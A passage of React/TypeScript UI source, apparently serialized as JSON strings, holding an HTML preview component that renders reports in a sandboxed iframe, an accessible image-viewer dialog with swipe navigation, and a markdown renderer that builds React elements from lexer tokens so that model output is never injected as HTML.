growing.\n *\n * Generous on purpose. A `native.Html` result is usually a whole report, and\n * 480px showed three paragraphs of one with a scrollbar down the side while\n * the panel around it sat empty — the reader scrolls twice to read once. The\n * frame still sizes itself to its CONTENT, so a short snippet stays short;\n * this only says how far it may grow before scrolling instead. A whole\n * document has no limit unless one is passed: it is a page, and is read whole.\n */\n maxHeight?: number;\n /**\n * The frame's `img-src`. Defaults to `'self' data: https:` — a method's HTML\n * result embeds the images that method produced. Pass `\"data:\"` to block\n * remote images entirely, or name an origin to allow only your own storage.\n */\n imgSrc?: string;\n /**\n * The frame's `font-src`. Follows `imgSrc` when unset: a page's fonts come\n * from where its images do, the host's own origin or a font service, and a\n * blocked one silently changes the face the page was designed in.\n */\n fontSrc?: string;\n /**\n * Draw the \"Download PDF\" control above the page. Follows the result\n * environment's `downloads.pdf` when unset, which draws it. The result view\n * passes `false` and draws its own in the page's control row.\n */\n downloadPdf?: boolean;\n /** The PDF's file name, without the extension. `page` when unset. */\n pdfFileName?: string;\n /**\n * Draw a whole document with no border and no rounding, edge to edge with\n * its container: for a page that IS the view (a result that is one page),\n * where a box around it is chrome around chrome. A fragment keeps its themed\n * box either way, since that box is its padding.\n */\n bare?: boolean;\n /**\n * Let a whole document's frame shrink to the height its container leaves it\n * and scroll inside itself, when that container is a flex column of bounded\n * height (a host's scrolling panel, `flex min-h-0 flex-col overflow-y-auto`).\n * The page is then the one scroll container under the pointer, so the first\n * wheel gesture over it scrolls it. In any other container the frame stays\n * as tall as the page. The result view passes it for a result that is one\n * page; a fragment ignores it.\n */\n fill?: boolean;\n}\n\n/** The fragment preview's default height limit; a whole document has none. */\nconst FRAGMENT_MAX_HEIGHT = 1400;\n\n/**\n * How short a filling page's frame may get before its container scrolls\n * instead: below this, a panel squeezed by its own chrome would show the page\n * through a slit.\n */\nconst FILL_MIN_HEIGHT = 320;\n\nexport function HtmlPreview({\n content,\n maxHeight,\n imgSrc = DEFAULT_IMG_SRC,\n fontSrc,\n downloadPdf,\n pdfFileName,\n bare = false,\n fill = false,\n}: HtmlPreviewProps) {\n const hostRef = useRef<HTMLDivElement>(null);\n const frameRef = useRef<HTMLIFrameElement>(null);\n const s = useFieldStrings();\n const [doc, setDoc] = useState<string | null>(null);\n const [height, setHeight] = useState(0);\n const resolvedHtml = useResolvedMarkup(content.innerHtml);\n const resolved = useMemo(\n () =>\n resolvedHtml === undefined\n ? undefined\n : resolvedHtml === content.innerHtml\n ? content\n : { ...content, innerHtml: resolvedHtml },\n [content, resolvedHtml],\n );\n const page = isWholeDocument(content.innerHtml);\n const pdfSetting = usePdfSaveShown();\n const pdfShown = downloadPdf ?? pdfSetting;\n const limit = maxHeight ?? (page ? undefined : FRAGMENT_MAX_HEIGHT);\n const filling = page && fill;\n\n // The frame's document is built in an effect, not during render, because it\n // reads the host's COMPUTED style - which does not exist until the element is\n // in the document, and differs between the two themes a story renders at once.\n useIsomorphicLayoutEffect(() => {\n const host = hostRef.current;\n if (!host || !resolved) return;\n const computed = getComputedStyle(host);\n const typography = page\n ? pageTypography(computed.fontFamily)\n : {\n color: computed.color,\n mutedColor: computed.getPropertyValue('--muted-foreground').trim() || computed.color,\n borderColor: computed.borderColor || computed.color,\n font: computed.fontFamily,\n };\n setDoc(\n frameDocument(resolved, {\n styles: frameStyles(typography),\n imgSrc,\n fontSrc: fontSrc ?? imgSrc,\n }),\n );\n }, [resolved, imgSrc, fontSrc, page]);\n\n // Size the frame to its content. `allow-same-origin` is what makes this\n // readable; a frame we could not measure would be a fixed box with a scrollbar\n // around two lines of markup. The root's height counts what the body's does\n // not: a whole document's own body margin.\n const measure = () => {\n const frameDoc = frameRef.current?.contentDocument;\n const body = frameDoc?.body;\n if (!frameDoc || !body) return;\n setHeight(Math.max(body.scrollHeight, frameDoc.documentElement.scrollHeight));\n };\n\n const onLoad = () => {\n measure();\n // A linked font arrives after `load` and reflows the page, often taller.\n void frameRef.current?.contentDocument?.fonts?.ready.then(measure, () => undefined);\n };\n\n useEffect(() => {\n // Re-measure on resize: the frame reflows with the column, and a table that\n // was two lines wide at 720px is four at 360.\n //\n // Guarded on the API existing rather than assumed, and not only for jsdom\n // (which has no `ResizeObserver`): this is an enhancement over the `onLoad`\n // measurement, so an environment without it gets a frame sized once instead\n // of a component that throws. A control that hard-requires a browser API it\n // does not need is a control a host cannot render on the server.\n if (!doc || !hostRef.current || typeof ResizeObserver === 'undefined') return;\n const observer = new ResizeObserver(measure);\n observer.observe(hostRef.current);\n return () => observer.disconnect();\n }, [doc]);\n\n const frameBox = (\n <div\n ref={hostRef}\n {...(page ? { 'data-html-page': '' } : {})}\n className={cn(\n page\n ? bare\n ? 'overflow-hidden bg-white text-[13px] text-black'\n : 'overflow-hidden rounded-lg border border-border bg-white text-[13px] text-black'\n : 'overflow-hidden rounded-lg border border-border bg-card/40 px-3.5 py-3 text-[13px] text-foreground',\n // A flex column that may shrink, so the frame inside can.\n filling && 'flex min-h-0 flex-col',\n )}\n >\n {resolved === undefined ? (\n // The page's stored pictures are being resolved: a short wait, said\n // as such, rather than a page painted with broken images first.\n <div\n role=\"status\"\n data-html-resolving\n className=\"flex min-h-24 items-center justify-center gap-2 text-[12px] text-muted-foreground\"\n >\n <Loader2 aria-hidden className=\"size-4 animate-spin\" />\n <span>{s.pageLoading}</span>\n </div>\n ) : doc === null ? null : (\n // A tab stop, whose keyboard focus `FocusFrame` draws.\n <FocusFrame\n ref={frameRef}\n title={content.cssClass ? `HTML result (${content.cssClass})` : 'HTML result'}\n srcDoc={doc}\n onLoad={onLoad}\n sandbox=\"allow-same-origin\"\n style={{\n display: 'block',\n width: '100%',\n border: 0,\n height:\n height === 0 ? undefined : limit === undefined ? height : Math.min(height, limit),\n ...(limit === undefined ? {} : { maxHeight: limit }),\n // Its height is the page's, as a flex basis: in a bounded flex\n // column it shrinks to what is left (never below the floor) and the\n // page scrolls inside the frame; anywhere else it is the page's.\n // `minHeight` is explicit because a replaced element's automatic\n // minimum is its own height, which would forbid the shrink.\n ...(filling && height > 0\n ? { flex: '0 1 auto', minHeight: Math.min(height, FILL_MIN_HEIGHT) }\n : {}),\n }}\n />\n )}\n </div>\n );\n if (!pdfShown) return frameBox;\n return (\n <div className=\"space-y-1.5\">\n <div className=\"flex justify-end\">\n <PdfDownloadButton\n content={content}\n imgSrc={imgSrc}\n {...(fontSrc === undefined ? {} : { fontSrc })}\n {...(pdfFileName === undefined ? {} : { fileName: pdfFileName })}\n />\n </div>\n {frameBox}\n </div>\n );\n}\n\n/**\n * The page's markup with the stored references its pictures name resolved\n * through the result environment's resolvers (`markup-storage.ts`), or\n * `undefined` while that is under way.\n *\n * Markup that cannot hold a reference, or a host with no resolver, is the\n * markup itself, at once and on the server alike. Otherwise the work is done\n * in an effect, since the parser it needs is the browser's: with only the\n * synchronous `resolveUrl` it lands on the next render; with a bulk\n * `resolveUrls` it lands when that answers, and if that takes longer than\n * `MARKUP_RESOLVE_TIMEOUT_MS` the page is shown first with what `resolveUrl`\n * answers, then again with the bulk answer if it arrives late.\n *\n * A resolution of the same markup is kept on screen while a new one runs (a\n * host that recreates its resolver on every render would otherwise flash the\n * loading state each time).\n */\nfunction useResolvedMarkup(markup: string): string | undefined {\n const resolvers = useMarkupResolvers();\n const needed =\n (resolvers.resolveUrl !== undefined || resolvers.resolveUrls !== undefined) &&\n mayHoldStorageRefs(markup);\n const [shown, setShown] = useState<{ source: string; html: string } | null>(null);\n\n useEffect(() => {\n if (!needed) return;\n let live = true;\n const show = (bulk?: BulkAnswer) => {\n if (!live) return;\n let html = markup;\n try {\n html = rewriteStorageRefs(markup, answerFor(bulk, resolvers.resolveUrl));\n } catch {\n // The page without its pictures is still the page.\n }\n setShown({ source: markup, html });\n };\n let refs: string[] = [];\n try {\n refs = storageRefsIn(markup);\n } catch {\n refs = [];\n }\n if (refs.length === 0 || !resolvers.resolveUrls) {\n show();\n return () => {\n live = false;\n };\n }\n const timer = setTimeout(() => show(), MARKUP_RESOLVE_TIMEOUT_MS);\n void askBulkUntimed(resolvers.resolveUrls, refs).then((bulk) => {\n clearTimeout(timer);\n show(bulk);\n });\n return () => {\n live = false;\n clearTimeout(timer);\n };\n }, [needed, markup, resolvers]);\n\n if (!needed) return markup;\n return shown?.source === markup ? shown.html : undefined;\n}\n","'use client';\n\nimport { useRef, useState, type PointerEvent, type ReactNode } from 'react';\nimport { ChevronLeft, ChevronRight, ExternalLink, Loader2, X } from 'lucide-react';\nimport { useFieldStrings } from './field-strings';\nimport { InOverlayLayer } from './overlay-layer';\nimport { focusOutlineClass } from './role-tokens';\nimport { headingWeightClass } from './style-tokens';\nimport {\n Dialog,\n DialogClose,\n DialogContent,\n DialogDescription,\n DialogTitle,\n type ReturnFocus,\n} from './ui/dialog';\nimport { cn } from './utils';\n\n/**\n * A result's picture, shown large: the one picture a lone image result holds,\n * or the pictures of a list, moved between in place. Internal to the result\n * view, which opens it from a picture and hands it what it shows.\n *\n * ## What it is made of\n *\n * The vendored dialog, so the behaviour a modal owes is Radix's and not this\n * file's: the focus trap, Escape, the rest of the page hidden from assistive\n * technology, the page's scroll held, and focus going back to the picture that\n * opened it (`returnFocus`, since Radix returns it only to a trigger of its\n * own). It is drawn in the result's overlay layer (`./overlay-layer`), at the\n * root of the result, so a picture in a table that stacks its rows opens it\n * over the viewport rather than inside the table's box.\n *\n * ## Moving between pictures\n *\n * The previous and next buttons, the left and right arrow keys, and on a\n * touch screen a horizontal swipe, read from pointer events with no gesture\n * library: a touch that travels further sideways than {@link SWIPE_DISTANCE}\n * and mostly sideways moves one picture. The picture area lets the browser\n * keep vertical panning and pinch zoom (`touch-action: pan-y pinch-zoom`), so\n * a swipe is the one gesture taken from it. The ends do not wrap: at the\n * first or last picture the button is marked unavailable rather than\n * disabled, so a keyboard user standing on it is not thrown out of the\n * dialog, and it does nothing.\n *\n * ## Fitting the screen\n *\n * The panel is the whole screen on a phone and the viewport less a margin\n * from `sm` up, and the picture is drawn `object-fit: contain` in the space\n * the header and the caption leave, so the whole of it shows at any width or\n * height, never cropped and never scrolled.\n */\n\n/** How far a touch must travel sideways, in CSS pixels, to count as a swipe. */\nconst SWIPE_DISTANCE = 40;\n\nexport interface ViewerPicture {\n /** The whole picture's URL, as the URL gate returned it. Never a smaller copy. */\n src: string;\n /** What the picture is called: the title of the viewer while it shows it. */\n name: string;\n /** The picture's own caption, when the payload states one. */\n caption?: string;\n /** The controls the result view draws beside a file: copy its URL, save it. */\n actions?: ReactNode;\n}\n\nexport interface ImageViewerProps {\n pictures: readonly ViewerPicture[];\n /** The picture shown, as an index into `pictures`. */\n index: number;\n onIndexChange: (index: number) => void;\n onClose: () => void;\n /** Where focus goes when the viewer closes: the picture that opened it. */\n returnFocus: ReturnFocus;\n}\n\nexport function ImageViewer({\n pictures,\n index,\n onIndexChange,\n onClose,\n returnFocus,\n}: ImageViewerProps) {\n const s = useFieldStrings();\n const panel = useRef<HTMLDivElement>(null);\n const swipe = useRef<{ id: number; x: number; y: number } | null>(null);\n const count = pictures.length;\n // Held to the list a rerun may have shortened while the viewer was open.\n const at = Math.min(Math.max(index, 0), count - 1);\n const picture = pictures[at];\n if (!picture) return null;\n const several = count > 1;\n const go = (step: -1 | 1) => {\n const next = at + step;\n if (next >= 0 && next < count) onIndexChange(next);\n };\n\n const onPointerDown = (event: PointerEvent<HTMLDivElement>) => {\n // A second finger is a pinch, never a swipe.\n swipe.current =\n event.pointerType === 'touch' && event.isPrimary\n ? { id: event.pointerId, x: event.clientX, y: event.clientY }\n : null;\n };\n const onPointerUp = (event: PointerEvent<HTMLDivElement>) => {\n const start = swipe.current;\n swipe.current = null;\n if (!start || start.id !== event.pointerId) return;\n const across = event.clientX - start.x;\n const down = event.clientY - start.y;\n if (Math.abs(across) < SWIPE_DISTANCE || Math.abs(across) < Math.abs(down) * 1.5) return;\n go(across < 0 ? 1 : -1);\n };\n\n return (\n <InOverlayLayer>\n <Dialog\n open\n onOpenChange={(open) => {\n if (!open) onClose();\n }}\n >\n <DialogContent\n ref={panel}\n returnFocus={returnFocus}\n // The panel itself takes focus on opening rather than its first\n // button, so the arrow keys work at once and Enter cannot close the\n // viewer or start a download by accident.\n onOpenAutoFocus={(event) => {\n event.preventDefault();\n panel.current?.focus();\n }}\n // A download that asks for its file name opens its own dialog inside\n // this one; Escape there cancels that question and leaves the viewer\n // open.\n onEscapeKeyDown={(event) => {\n if (\n event.target instanceof Element &&\n event.target.closest('[data-file-name-backdrop]')\n ) {\n event.preventDefault();\n }\n }}\n onKeyDown={(event) => {\n if (\n event.defaultPrevented ||\n event.altKey ||\n event.ctrlKey ||\n event.metaKey ||\n event.shiftKey\n ) {\n return;\n }\n if (isTextEntry(event.target)) return;\n if (event.key !== 'ArrowLeft' && event.key !== 'ArrowRight') return;\n event.preventDefault();\n event.stopPropagation();\n go(event.key === 'ArrowLeft' ? -1 : 1);\n }}\n {...(picture.caption ? {} : { 'aria-describedby': undefined })}\n className={cn(\n 'm-0 h-dvh w-full max-w-none gap-0 rounded-none border-0 p-0',\n 'sm:m-auto sm:h-[calc(100dvh-4rem)] sm:w-[calc(100%-4rem)] sm:max-w-6xl sm:rounded-xl sm:border',\n )}\n >\n <div className=\"flex shrink-0 items-center gap-2 border-b border-border py-1.5 pr-1.5 pl-4\">\n <div className=\"min-w-0 flex-1\">\n <DialogTitle className={cn('truncate text-[14px]', headingWeightClass[500])}>\n {picture.name}\n </DialogTitle>\n {several && (\n // A live region from the moment the viewer opens, so each move\n // is announced: one inserted with its text already in it is not.\n <p\n aria-live=\"polite\"\n aria-atomic=\"true\"\n className=\"text-[12px] text-muted-foreground\"\n >\n {s.imagePosition(at + 1, count)}\n </p>\n )}\n </div>\n <div className=\"flex shrink-0 items-center gap-1\">\n <a\n href={picture.src}\n target=\"_blank\"\n rel=\"noreferrer\"\n className={cn(\n 'inline-flex items-center gap-1.5 rounded-md px-2 py-1 text-[12px] text-muted-foreground hover:bg-muted hover:text-foreground max-sm:size-11 max-sm:justify-center max-sm:p-0',\n focusOutlineClass,\n )}\n >\n <ExternalLink aria-hidden className=\"size-3.5\" />\n <span className=\"max-sm:sr-only\">{s.openOriginal}</span>\n </a>\n {picture.actions}\n <DialogClose\n aria-label={s.close}\n className={cn(\n 'flex size-9 items-center justify-center rounded-md text-muted-foreground hover:bg-muted hover:text-foreground max-sm:size-11',\n focusOutlineClass,\n )}\n >\n <X aria-hidden className=\"size-4\" />\n </DialogClose>\n </div>\n </div>\n\n <div\n data-viewer-stage\n onPointerDown={onPointerDown}\n onPointerUp={onPointerUp}\n onPointerCancel={() => {\n swipe.current = null;\n }}\n className=\"relative min-h-0 flex-1 touch-pan-y touch-pinch-zoom\"\n >\n {/* Keyed by the picture, so moving on shows the spinner again\n rather than the last picture's state. */}\n <ViewerImage\n key={picture.src}\n src={picture.src}\n alt={picture.caption ?? picture.name}\n />\n {several && (\n <>\n <StepButton\n label={s.previousImage}\n unavailable={at === 0}\n onStep={() => go(-1)}\n className=\"left-2\"\n >\n <ChevronLeft aria-hidden className=\"size-5\" />\n </StepButton>\n <StepButton\n label={s.nextImage}\n unavailable={at === count - 1}\n onStep={() => go(1)}\n className=\"right-2\"\n >\n <ChevronRight aria-hidden className=\"size-5\" />\n </StepButton>\n </>\n )}\n </div>\n\n {picture.caption && (\n <DialogDescription className=\"max-h-24 shrink-0 overflow-y-auto border-t border-border px-4 py-2 text-[13px]\">\n {picture.caption}\n </DialogDescription>\n )}\n </DialogContent>\n </Dialog>\n </InOverlayLayer>\n );\n}\n\n/** The picture itself, with a spinner until it arrives. */\nfunction ViewerImage({ src, alt }: { src: string; alt: string }) {\n const [loading, setLoading] = useState(true);\n return (\n <>\n {loading && (\n <span\n role=\"status\"\n aria-label={alt}\n className=\"absolute inset-0 flex items-center justify-center\"\n >\n <Loader2 aria-hidden className=\"size-5 animate-spin text-muted-foreground\" />\n </span>\n )}\n <img\n src={src}\n alt={alt}\n // A result view has no business telling a third party where it was\n // opened from; see `LoadingImage` in `./result-field`.\n referrerPolicy=\"no-referrer\"\n decoding=\"async\"\n draggable={false}\n onLoad={() => setLoading(false)}\n onError={() => setLoading(false)}\n className={cn(\n 'absolute inset-0 size-full object-contain p-2 sm:p-4',\n loading && 'opacity-0',\n )}\n />\n </>\n );\n}\n\n/**\n * Previous or next. Marked unavailable at an end rather than disabled: a\n * disabled button loses the focus it holds, and inside a modal that focus\n * would land nowhere.\n */\nfunction StepButton({\n label,\n unavailable,\n onStep,\n className,\n children,\n}: {\n label: string;\n unavailable: boolean;\n onStep: () => void;\n className: string;\n children: ReactNode;\n}) {\n return (\n <button\n type=\"button\"\n aria-label={label}\n aria-disabled={unavailable}\n onClick={() => {\n if (!unavailable) onStep();\n }}\n className={cn(\n 'absolute top-1/2 flex size-11 -translate-y-1/2 items-center justify-center rounded-full border border-border bg-popover/90 text-foreground shadow-sm hover:bg-muted aria-disabled:opacity-40 aria-disabled:hover:bg-popover/90',\n focusOutlineClass,\n className,\n )}\n >\n {children}\n </button>\n );\n}\n\n/** Whether a key went to something a person types into, which keeps its arrows. */\nfunction isTextEntry(target: EventTarget): boolean {\n if (!(target instanceof HTMLElement)) return false;\n return target.isContentEditable || target.closest('input, textarea, select') !== null;\n}\n","'use client';\n\nimport * as React from 'react';\nimport { marked, type Token, type Tokens } from 'marked';\n\nimport { splitCitations, viewableUrl, webHref } from '../core/native-content';\nimport { useProseImages, type ProseImages } from './result-env';\nimport { focusOutlineClass } from './role-tokens';\nimport { headingClass } from './style-tokens';\nimport { cn } from './utils';\n\n/**\n * Markdown, rendered as React elements — never as injected HTML.\n *\n * ## Why prose is rendered as markdown at all\n *\n * `prose` is the standard's kind for flowing free text, and what fills it in\n * practice is a language model's answer. Those answers are markdown: headings,\n * `**bold**`, bullet lists, occasionally a table. Rendered as plain text they\n * are a wall of literal `#` and `**`, which is not a neutral fallback — it is a\n * WRONG rendering of a value whose author meant something by those characters.\n *\n * The descriptor never says \"this is markdown\", and it does not need to: the\n * decision here is about TYPESETTING one text value, not about deriving what a\n * field is, and markdown degrades by design. A paragraph with no markup renders\n * as that paragraph. So the rule is simply that `prose` is typeset as markdown,\n * with no payload sniffing and no per-value heuristic to get wrong.\n *\n * `breaks: true` is not cosmetic. Plain markdown joins single newlines into one\n * paragraph, and the arm this replaced rendered prose with `white-space:\n * pre-wrap`, which preserved them. A value whose author put each item on its own\n * line without bulleting it would otherwise have been silently reflowed into a\n * paragraph — a regression invisible in any diff.\n *\n * ## Why the tokens are walked instead of `marked.parse()`\n *\n * `marked.parse()` returns an HTML string, and there are only two ways to put a\n * string of HTML on a page: `dangerouslySetInnerHTML`, or a sandboxed frame.\n * This value is MODEL OUTPUT, so the first would put a `<script>` and an\n * `onerror` handler one prompt away from running on the host's origin with the\n * host's cookies — and markdown permits raw HTML, so that is a real path rather\n * than a theoretical one. The second (what `HtmlPreview` does for `native.Html`)\n * is safe but heavy: a separate document per prose field, with its own styles\n * copied in and its height measured, around what is usually two sentences.\n *\n * Walking `marked.lexer()`'s tokens into React elements avoids the question\n * entirely. Every element below is one this file wrote; text only ever reaches\n * the DOM as a text child. There is no HTML string anywhere in the path, so\n * there is nothing to sanitize and no sanitizer to ship — and the `html` token\n * is rendered as its own literal source, which is the honest thing to do with\n * markup we have decided not to execute.\n */\n\n/** Lexer options, fixed here so every prose value is typeset the same way. */\nconst LEX_OPTIONS = { gfm: true, breaks: true } as const;\n\nexport interface MarkdownProps {\n text: string;\n className?: string;\n /**\n * What an image in this text does. Defaults to the surrounding\n * `ResultEnvProvider`'s `proseImages`, and to `'link'` outside one — see\n * {@link ProseImages} for why the default is not to load.\n */\n proseImages?: ProseImages;\n /**\n * Where an inline citation leads: given the number in a `[2]` (a run such as\n * `[2][3]` is two), the source it names, or `undefined` for a number that\n * names none, which stays the text it is. Unset, no citation is read and the\n * text renders exactly as it does without one.\n *\n * Only plain text is read for citations: a bracketed number that is already\n * a link or an image, or that sits inside code or inside a link's own text,\n * is the author's and is left alone. And only an `http:` or `https:` address\n * becomes a link, read by parsing it, whatever the function answers.\n */\n citations?: (citation: number) => MarkdownCitation | undefined;\n}\n\n/** Where a citation leads: the source's address, and what it is called. */\nexport interface MarkdownCitation {\n href: string;\n /** The source's name, shown on hover over the citation: its title, or its address. */\n label: string;\n}\n\nexport function Markdown({ text, className, proseImages, citations }: MarkdownProps) {\n const tokens = React.useMemo(() => marked.lexer(text, LEX_OPTIONS), [text]);\n const fromEnv = useProseImages();\n // The prop wins over the provider, so a host rendering one prose value its own\n // way does not have to nest a second provider to say so.\n const mode = proseImages ?? fromEnv;\n return (\n <ProseImagesContext value={mode}>\n <CitationsContext value={citations}>\n <div className={cn('space-y-2 text-[13px] leading-relaxed text-foreground', className)}>\n <Blocks tokens={tokens} />\n </div>\n </CitationsContext>\n </ProseImagesContext>\n );\n}\n\n/**\n * Whether `text`, typeset here, opens with a heading of its own: its first\n * block, blank lines aside, is a `#` heading or an underlined one.\n *\n * The result view asks it of a text it typesets in `app`, to leave out the\n * field's label over a text that names itself: a summary that opens with\n * \"Launch Executive Summary\" read as a stutter under \"Executive summary\". It\n * reads the text the way `Markdown` will typeset it, with the same lexer and\n * options, so the two cannot disagree about what the first block is.\n *\n * Only the opening block is lexed, up to the first blank line, because only it\n * decides and a blank line ends every block that could begin there (one that\n * runs past it, such as a fence or a comment, is still that block when cut\n * short). That keeps the question cheap for a text written in paragraphs,\n * which matters because it is asked on every render: a generative page\n * re-renders its result on each keystroke in an input beside it. A text with\n * no blank line at all is one block and is lexed whole, which costs about what\n * re-rendering its typeset tree costs on the same render (a millisecond for 14\n * KB, measured on marked 18).\n */\nexport function opensWithHeading(text: string): boolean {\n const body = text.slice(LEADING_BLANK_LINES.exec(text)?.[0].length ?? 0);\n const end = body.search(BLANK_LINE);\n const opening = end === -1 ? body : body.slice(0, end);\n const first = marked.lexer(opening, LEX_OPTIONS).find((token) => token.type !== 'space');\n return first?.type === 'heading';\n}\n\n/** The blank lines before a text's first line that holds anything. */\nconst LEADING_BLANK_LINES = /^(?:[ \\t]*\\r?\\n)*/;\n/** A blank line, which ends a block. */\nconst BLANK_LINE = /\\r?\\n[ \\t]*\\r?\\n/;\n\n/**\n * The policy, threaded to the one token that needs it.\n *\n * A context rather than a prop on every walker: `Block`, `Inline` and\n * `InlineToken` recurse through each other, and passing a value only the `image`\n * arm reads through all three would put it in every signature in the file.\n */\nconst ProseImagesContext = React.createContext<ProseImages>('link');\n\n/** Where citations lead, threaded to the text arm for the reason the policy above is. */\nconst CitationsContext = React.createContext<MarkdownProps['citations']>(undefined);\n\n// Every level reads the page's heading style (`./style-tokens`), falling\n// back to the semibold it was set in.\nconst HEADING_CLASS: Record<number, string> = {\n 1: cn('text-[16px]', headingClass(600)),\n 2: cn('text-[14.5px]', headingClass(600)),\n 3: cn('text-[13.5px]', headingClass(600)),\n 4: cn('text-[13px]', headingClass(600)),\n 5: cn('text-[13px]', headingClass(600)),\n 6: cn('text-[13px]', headingClass(600)),\n};\n\nfunction Blocks({ tokens }: { tokens: readonly Token[] }) {\n return (\n <>\n {tokens.map((token, index) => (\n <Block key={index} token={token} />\n ))}\n </>\n );\n}\n\nfunction Block({ token }: { token: Token }) {\n switch (token.type) {\n case 'space':\n return null;\n\n case 'heading': {\n const heading = token as Tokens.Heading;\n // The level is authored data, so it is clamped rather than trusted: an\n // `<h9>` is not an element, and a depth outside 1-6 would render a tag\n // React does not know.\n const level = Math.min(Math.max(heading.depth, 1), 6);\n const Tag = `h${level}` as 'h1';\n return (\n <Tag className={cn('mt-3 first:mt-0', HEADING_CLASS[level])}>\n <Inline tokens={heading.tokens} />\n </Tag>\n );\n }\n\n case 'paragraph':\n return (\n <p>\n <Inline tokens={(token as Tokens.Paragraph).tokens} />\n </p>\n );\n\n // A `text` token in BLOCK position, which is what a tight list's items are\n // made of: the lexer wraps a loose item's content in a paragraph and a\n // tight one's in a bare `text`. Without this arm it fell through to the raw\n // fallback below and a bulleted `**Type:** …` rendered with its asterisks\n // showing - typeset everywhere except inside a list, which is where model\n // output puts most of its emphasis.\n case 'text':\n return <Inline tokens={(token as Tokens.Text).tokens ?? [token]} />;\n\n case 'list': {\n const list = token as Tokens.List;\n const Tag = list.ordered ? 'ol' : 'ul';\n return (\n <Tag\n className={cn('space-y-1 ps-5', list.ordered ? 'list-decimal' : 'list-disc')}\n // A list authored as `3.` starts at 3. `start` is meaningless on `ul`\n // and React warns about it, so it rides only the ordered arm.\n {...(list.ordered && list.start !== 1 ? { start: Number(list.start) } : {})}\n >\n {list.items.map((item, index) => (\n <li key={index} className=\"marker:text-muted-foreground\">\n {/* A task-list checkbox is DISABLED: this is a result being read,\n not a form. An interactive box would invite a click that\n changes nothing and is written nowhere. */}\n {item.task ? (\n <input\n type=\"checkbox\"\n checked={item.checked ?? false}\n disabled\n readOnly\n className=\"me-1.5 align-middle\"\n />\n ) : null}\n <Blocks tokens={item.tokens} />\n </li>\n ))}\n </Tag>\n );\n }\n\n case 'code': {\n const code = token as Tokens.Code;\n return (\n // WRAPPED, not scrolled. A code block in a side panel is usually not\n // code at all: it is a model that opened a fence and did not close it,\n // or closed one it never opened, and the rest of a report ends up\n // inside it. Scrolling that sideways hides the text behind a scrollbar\n // for no gain — the lines are prose, and prose wraps. Real code loses\n // its column alignment and keeps every character, which is the better\n // half of that trade at this width.\n <pre className=\"whitespace-pre-wrap wrap-break-word rounded-md border border-border bg-card/40 p-2.5 text-[12px]\">\n <code>{code.text}</code>\n </pre>\n );\n }\n\n case 'blockquote':\n return (\n <blockquote className=\"border-s-2 border-border ps-3 text-muted-foreground\">\n <Blocks tokens={(token as Tokens.Blockquote).tokens} />\n </blockquote>\n );\n\n case 'hr':\n return <hr className=\"border-border\" />;\n\n case 'table': {\n const table = token as Tokens.Table;\n return (\n // The same overflow rule the result tables follow: a wide table scrolls\n // inside its own box rather than widening the panel around it.\n <div className=\"overflow-x-auto rounded-lg border border-border\">\n <table className=\"min-w-full border-collapse text-[12.5px]\">\n <thead>\n <tr className=\"border-b border-border bg-card/40\">\n {table.header.map((cell, index) => (\n <th\n key={index}\n scope=\"col\"\n className=\"px-2.5 py-1.5 text-start font-semibold\"\n style={alignOf(table.align[index])}\n >\n <Inline tokens={cell.tokens} />\n </th>\n ))}\n </tr>\n </thead>\n <tbody>\n {table.rows.map((row, rowIndex) => (\n <tr key={rowIndex} className=\"border-b border-border/60 last:border-b-0\">\n {row.map((cell, cellIndex) => (\n <td\n key={cellIndex}\n className=\"px-2.5 py-1.5 align-top\"\n style={alignOf(table.align[cellIndex])}\n >\n <Inline tokens={cell.tokens} />\n </td>\n ))}\n </tr>\n ))}\n </tbody>\n </table>\n </div>\n );\n }\n\n // `html` and anything this version of the lexer grows that we have no arm\n // for: shown as its own source text. Rendering markup we have decided not to\n // execute as the characters it is made of is the honest fallback - it never\n // silently drops content, and it never injects any.\n default:\n return <p className=\"whitespace-pre-wrap\">{rawOf(token)}</p>;\n }\n}\n\nfunction Inline({ tokens }: { tokens?: readonly Token[] }) {\n if (!tokens) return null;\n return (\n <>\n {tokens.map((token, index) => (\n <InlineToken key={index} token={token} />\n ))}\n </>\n );\n}\n\nfunction InlineToken({ token }: { token: Token }) {\n switch (token.type) {\n case 'text': {\n const text = token as Tokens.Text;\n // A `text` token carries nested tokens only when the lexer found markup\n // inside it; when it did not, `tokens` is absent and the string is the\n // content. Both arms are needed - reading `.text` unconditionally drops\n // nested emphasis, and recursing unconditionally renders nothing.\n return text.tokens ? <Inline tokens={text.tokens} /> : <CitedText text={decode(text.text)} />;\n }\n case 'escape':\n return <>{(token as Tokens.Escape).text}</>;\n case 'strong':\n return (\n <strong className=\"font-semibold\">\n <Inline tokens={(token as Tokens.Strong).tokens} />\n </strong>\n );\n case 'em':\n return (\n <em className=\"italic\">\n <Inline tokens={(token as Tokens.Em).tokens} />\n </em>\n );\n case 'del':\n return (\n <del className=\"line-through\">\n <Inline tokens={(token as Tokens.Del).tokens} />\n </del>\n );\n case 'codespan':\n return (\n <code className=\"rounded border border-border bg-card/40 px-1 py-0.5 text-[0.92em]\">\n {decode((token as Tokens.Codespan).text)}\n </code>\n );\n case 'br':\n return <br />;\n case 'link': {\n const link = token as Tokens.Link;\n const href = safeHref(link.href);\n // A link whose scheme we will not follow keeps its TEXT. Dropping the\n // anchor and dropping the words are different things, and only the first\n // is a security decision. The text is still the link's own, which the\n // author wrote, so a bracketed number in it stays text as it does inside\n // a link that is followed. Citations are switched off rather than the\n // link flag set: `ProseImage` reads that flag, and an image in a refused\n // link's text is not inside an anchor.\n if (!href) {\n return (\n <CitationsContext value={undefined}>\n <Inline tokens={link.tokens} />\n </CitationsContext>\n );\n }\n return (\n // The flag is set for everything under the anchor, so a nested `image`\n // token knows not to open one of its own — see {@link ProseImage}.\n <InsideLinkContext value={true}>\n <a\n href={href}\n target=\"_blank\"\n // `noreferrer` as well as `noopener`: a result view has no business\n // telling a third party which page it was opened from.\n rel=\"noreferrer noopener\"\n className={cn('rounded-sm underline underline-offset-2', focusOutlineClass)}\n >\n <Inline tokens={link.tokens} />\n </a>\n </InsideLinkContext>\n );\n }\n case 'image':\n return <ProseImage token={token as Tokens.Image} />;\n default:\n return <>{rawOf(token)}</>;\n }\n}\n\n/**\n * A run of plain text, with each inline citation in it a link to its source\n * when the caller says where citations lead.\n *\n * This is the one place a citation is read, and it is reached only by plain\n * text: the lexer has already made a bracketed number followed by an address,\n * or one a reference definition names, into a link, an `![…](…)` into an\n * image, and code into a code span or block, and none of those arrive here.\n * Inside a link's own text a citation stays text, since an anchor inside an\n * anchor is not valid HTML (see {@link ProseImage}), and so it does in the text\n * of a link whose address is refused, 